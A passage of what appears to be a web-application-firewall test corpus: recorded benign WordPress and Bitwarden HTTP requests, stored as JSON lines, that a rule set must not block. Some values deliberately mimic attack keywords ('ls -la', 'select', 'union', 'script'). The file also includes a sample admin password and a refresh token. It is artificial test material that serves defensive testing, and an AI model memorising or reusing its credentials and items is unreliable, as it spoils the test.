Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"name\":\"ls -la and powershell team\",\"billingEmail\":\"powershell.billing@example.com\"}"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 707", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "grant_type=refresh_token&client_id=web&refresh_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODMxODksImV4cCI6MTc5Njg3NTE4OSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6InBhc3N3b3JkIiwiZGV2aWNlX3Rva2VuIjoiNWJTTklURmQxRzYxN1lFRFJleUlvUFhzSkpMWkdQSUliY2szVFZjSUZfaEdkZGdrdVpUaTFsQ09OUlRYV2tlTEJYdHNld3RWV2IySEZuSlB3WDMtNWc9PSIsInRva2VuIjpudWxsfQ.hdoq_DygkBEZGPxknOVIPcSkU7Qz8GItq9KjB42QX747e8luUPjgn9KpEBiH9NDnDO2oAycbyaxJ9rAcSeYovNPzkoDlTyl-qvJgR07UMHKNyhrqblEhde6JcDaxRYBwb0JS1HPY2YPC8TZr_c3zvOJhnOVKv2DegVY94xFFCB1USPphpkS1DYMfo2QaBTW--ryhnL562CVL4Rz4cEVr0tvSzQvYkwB8ro3p_z2TT8Vxz3n9zfBGV_8uIFIGnw8d9CbIuypTEWgZg9bvazVZP88ooeTU7JIa2ylB3-P0HNhgrvKlMvbqIPAA4dRIyIhyO_ulBNIJDPaiUGWBAEzeXA"}
+548
View File
@@ -0,0 +1,548 @@
# Ordinary WordPress 7.1.4 requests, one JSON object a line, that the Core Rule
# Set must let through. Recorded from a browser and an API client, with the
# password, the cookies that sign in, the contents of uploaded files and the
# author of a plugin replaced.
{"method": "GET", "target": "/", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-admin/install.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-includes/css/dashicons.min.css?ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-admin/install.php", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-includes/css/buttons.min.css?ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-admin/install.php", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-admin/css/forms.min.css?ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-admin/install.php", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-includes/css/dist/base-styles/admin-schemes.min.css?ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-admin/install.php", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-admin/css/install.min.css?ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-admin/install.php", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-admin/css/l10n.min.css?ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-admin/install.php", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-admin/install.php", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-admin/js/language-chooser.min.js?ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-admin/install.php", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-includes/js/jquery/jquery.min.js?ver=3.7.1", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-admin/install.php", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-admin/images/wordpress-logo-gray.svg?ver=20260303", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://blog.example/wp-admin/css/install.min.css?ver=7.1.4", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-admin/images/spinner.gif", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://blog.example/wp-admin/css/install.min.css?ver=7.1.4", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "POST", "target": "/wp-admin/install.php?step=1", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 9", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/install.php", "Accept-Encoding: gzip, deflate"], "body": "language="}
{"method": "GET", "target": "/wp-includes/js/clipboard.min.js?ver=2.0.11", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-admin/install.php?step=1", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-includes/js/underscore.min.js?ver=1.13.8", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-admin/install.php?step=1", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-includes/js/wp-util.min.js?ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-admin/install.php?step=1", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "POST", "target": "/wp-cron.php?doing_wp_cron=1794203120.0892329216003417968750", "headers": ["Host: blog.example", "User-Agent: WordPress/7.1.4; http://blog.example", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Connection: close", "Content-Length: 0", "Content-Type: application/x-www-form-urlencoded"], "body": ""}
{"method": "GET", "target": "/2026/11/09/hello-world/", "headers": ["Host: blog.example", "User-Agent: WordPress/7.1.4; http://blog.example", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Connection: close"], "body": ""}
{"method": "POST", "target": "/wp-admin/install.php?step=2", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 203", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/install.php?step=1", "Accept-Encoding: gzip, deflate"], "body": "weblog_title=Example+Blog&user_name=editor1&admin_password=Tr0ub4dor%263-horse-staple%21&admin_password2=Tr0ub4dor%263-horse-staple%21&admin_email=editor1%40example.com&Submit=Install+WordPress&language="}
{"method": "GET", "target": "/wp-content/themes/twentytwentyfive/assets/fonts/manrope/Manrope-VariableFont_wght.woff2", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: */*", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/?p=1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/?page_id=2", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/sample-page/", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/?cat=1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/category/uncategorized/", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-content/themes/twentytwentyfive/assets/images/404-image.webp", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://blog.example/category/uncategorized/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/?m=202611", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/2026/11/", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/?author=1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/author/editor1/", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/?feed=rss2", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/feed/", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/?feed=comments-rss2", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/comments/feed/", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/?s=hello", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/?s=O%27Reilly+books", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/?s=how+to+select+a+table+from+a+catalog", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/?s=%22union+station%22+tickets", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/?s=rock+%26+roll", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/?s=cat+food", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/?s=script+writing", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/?s=one%2Ftwo", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/?paged=1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/hello-world/", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/search/hello/", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-sitemap.xml", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-sitemap-index.xsl", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-sitemap.xml", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-sitemap-posts-post-1.xml", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-sitemap.xsl", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-sitemap-posts-post-1.xml", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/robots.txt", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-login.php?action=lostpassword", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-styles.php?c=0&dir=ltr&load%5Bchunk_0%5D=dashicons,buttons,forms,l10n,wp-base-styles,wp-tooltip,login&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-login.php?action=lostpassword", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check"], "body": ""}
{"method": "GET", "target": "/wp-login.php?redirect_to=http%3A%2F%2Fblog.example%2Fwp-admin%2F&reauth=1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-scripts.php?c=0&load%5Bchunk_0%5D=clipboard,jquery-core,jquery-migrate,zxcvbn-async,wp-hooks&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-login.php?redirect_to=http%3A%2F%2Fblog.example%2Fwp-admin%2F&reauth=1", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check"], "body": ""}
{"method": "GET", "target": "/wp-admin/", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check"], "body": ""}
